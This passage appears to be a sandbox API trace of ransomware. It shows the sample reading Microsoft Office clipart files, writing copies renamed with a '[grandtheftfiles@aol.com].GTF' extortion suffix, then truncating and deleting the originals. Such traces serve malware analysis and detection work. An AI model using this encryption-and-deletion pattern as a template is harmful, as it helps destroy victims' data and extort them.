	[0169.360] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.360] lstrlenW (lpString=".ppt") returned 4
	[0169.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.360] lstrlenW (lpString=".zip") returned 4
	[0169.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.360] lstrlenW (lpString=".rar") returned 4
	[0169.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString=".bz2") returned 4
	[0169.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString=".7z") returned 3
	[0169.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.360] lstrlenW (lpString=".dbf") returned 4
	[0169.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.360] lstrlenW (lpString=".1cd") returned 4
	[0169.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0169.361] lstrlenW (lpString=".jpg") returned 4
	[0169.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.361] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.361] lstrlenW (lpString="J0107450.WMF") returned 12
	[0169.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.361] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4920) returned 1
	[0169.362] CloseHandle (hObject=0x45c) returned 1
	[0169.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220
	[0169.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.362] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.362] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.363] GetLastError () returned 0x0
	[0169.363] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1338, lpOverlapped=0x0) returned 1
	[0169.392] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0169.393] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.393] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.394] SetEndOfFile (hFile=0x550) returned 1
	[0169.394] CloseHandle (hObject=0x550) returned 1
	[0169.394] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.394] SetEndOfFile (hFile=0x45c) returned 1
	[0169.401] CloseHandle (hObject=0x45c) returned 1
	[0169.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1
	[0169.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.403] lstrlenW (lpString=".doc") returned 4
	[0169.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.403] lstrlenW (lpString=".docx") returned 5
	[0169.403] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.403] lstrlenW (lpString=".pdf") returned 4
	[0169.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.403] lstrlenW (lpString=".xls") returned 4
	[0169.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.403] lstrlenW (lpString=".xlsx") returned 5
	[0169.403] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.403] lstrlenW (lpString=".ppt") returned 4
	[0169.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.403] lstrlenW (lpString=".zip") returned 4
	[0169.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.403] lstrlenW (lpString=".rar") returned 4
	[0169.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.403] lstrlenW (lpString=".bz2") returned 4
	[0169.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.403] lstrlenW (lpString=".7z") returned 3
	[0169.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.403] lstrlenW (lpString=".dbf") returned 4
	[0169.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString=".1cd") returned 4
	[0169.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString=".jpg") returned 4
	[0169.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString=".doc") returned 4
	[0169.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString=".docx") returned 5
	[0169.404] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.404] lstrlenW (lpString=".pdf") returned 4
	[0169.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString=".xls") returned 4
	[0169.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.404] lstrlenW (lpString=".xlsx") returned 5
	[0169.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.404] lstrlenW (lpString=".ppt") returned 4
	[0169.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString=".zip") returned 4
	[0169.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.404] lstrlenW (lpString=".rar") returned 4
	[0169.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString=".bz2") returned 4
	[0169.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString=".7z") returned 3
	[0169.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString=".dbf") returned 4
	[0169.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.404] lstrlenW (lpString=".1cd") returned 4
	[0169.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0169.405] lstrlenW (lpString=".jpg") returned 4
	[0169.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.405] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.405] lstrlenW (lpString="J0107452.WMF") returned 12
	[0169.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.412] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=21216) returned 1
	[0169.412] CloseHandle (hObject=0x45c) returned 1
	[0169.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220
	[0169.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.412] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.412] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0169.415] GetLastError () returned 0x0
	[0169.415] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x52e0, lpOverlapped=0x0) returned 1
	[0169.419] WriteFile (in: hFile=0x48c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x52f0, lpOverlapped=0x0) returned 1
	[0169.420] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.420] WriteFile (in: hFile=0x48c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.420] SetEndOfFile (hFile=0x48c) returned 1
	[0169.420] CloseHandle (hObject=0x48c) returned 1
	[0169.421] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.421] SetEndOfFile (hFile=0x45c) returned 1
	[0169.423] CloseHandle (hObject=0x45c) returned 1
	[0169.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1
	[0169.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.424] lstrlenW (lpString=".doc") returned 4
	[0169.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.424] lstrlenW (lpString=".docx") returned 5
	[0169.424] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.424] lstrlenW (lpString=".pdf") returned 4
	[0169.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.424] lstrlenW (lpString=".xls") returned 4
	[0169.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.425] lstrlenW (lpString=".xlsx") returned 5
	[0169.425] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.425] lstrlenW (lpString=".ppt") returned 4
	[0169.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.425] lstrlenW (lpString=".zip") returned 4
	[0169.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.425] lstrlenW (lpString=".rar") returned 4
	[0169.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString=".bz2") returned 4
	[0169.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString=".7z") returned 3
	[0169.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.425] lstrlenW (lpString=".dbf") returned 4
	[0169.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.425] lstrlenW (lpString=".1cd") returned 4
	[0169.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.425] lstrlenW (lpString=".jpg") returned 4
	[0169.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.425] lstrlenW (lpString=".doc") returned 4
	[0169.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString=".docx") returned 5
	[0169.425] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.425] lstrlenW (lpString=".pdf") returned 4
	[0169.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.425] lstrlenW (lpString=".xls") returned 4
	[0169.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.426] lstrlenW (lpString=".xlsx") returned 5
	[0169.426] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.426] lstrlenW (lpString=".ppt") returned 4
	[0169.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.426] lstrlenW (lpString=".zip") returned 4
	[0169.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.426] lstrlenW (lpString=".rar") returned 4
	[0169.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.426] lstrlenW (lpString=".bz2") returned 4
	[0169.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.426] lstrlenW (lpString=".7z") returned 3
	[0169.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.426] lstrlenW (lpString=".dbf") returned 4
	[0169.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.426] lstrlenW (lpString=".1cd") returned 4
	[0169.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0169.426] lstrlenW (lpString=".jpg") returned 4
	[0169.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.426] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.426] lstrlenW (lpString="J0107456.WMF") returned 12
	[0169.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.427] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3724) returned 1
	[0169.427] CloseHandle (hObject=0x45c) returned 1
	[0169.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220
	[0169.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0169.428] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.428] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0169.428] GetLastError () returned 0x0
	[0169.428] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xe8c, lpOverlapped=0x0) returned 1
	[0169.646] WriteFile (in: hFile=0x48c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0169.647] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.647] WriteFile (in: hFile=0x48c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.647] SetEndOfFile (hFile=0x48c) returned 1
	[0169.647] CloseHandle (hObject=0x48c) returned 1
	[0169.647] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.648] SetEndOfFile (hFile=0x45c) returned 1
	[0170.139] CloseHandle (hObject=0x45c) returned 1
	[0170.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1
	[0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.445] lstrlenW (lpString=".doc") returned 4
	[0170.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString=".docx") returned 5
	[0170.446] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.446] lstrlenW (lpString=".pdf") returned 4
	[0170.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString=".xls") returned 4
	[0170.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.446] lstrlenW (lpString=".xlsx") returned 5
	[0170.446] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.446] lstrlenW (lpString=".ppt") returned 4
	[0170.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.446] lstrlenW (lpString=".zip") returned 4
	[0170.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.446] lstrlenW (lpString=".rar") returned 4
	[0170.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString=".bz2") returned 4
	[0170.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString=".7z") returned 3
	[0170.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.446] lstrlenW (lpString=".dbf") returned 4
	[0170.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.446] lstrlenW (lpString=".1cd") returned 4
	[0170.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.446] lstrlenW (lpString=".jpg") returned 4
	[0170.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0170.446] lstrlenW (lpString=".doc") returned 4
	[0170.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.446] lstrlenW (lpString=".docx") returned 5
	[0170.446] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.446] lstrlenW (lpString=".pdf") returned 4
	[0170.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.447] lstrlenW (lpString=".xls") returned 4
	[0170.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.447] lstrlenW (lpString=".xlsx") returned 5
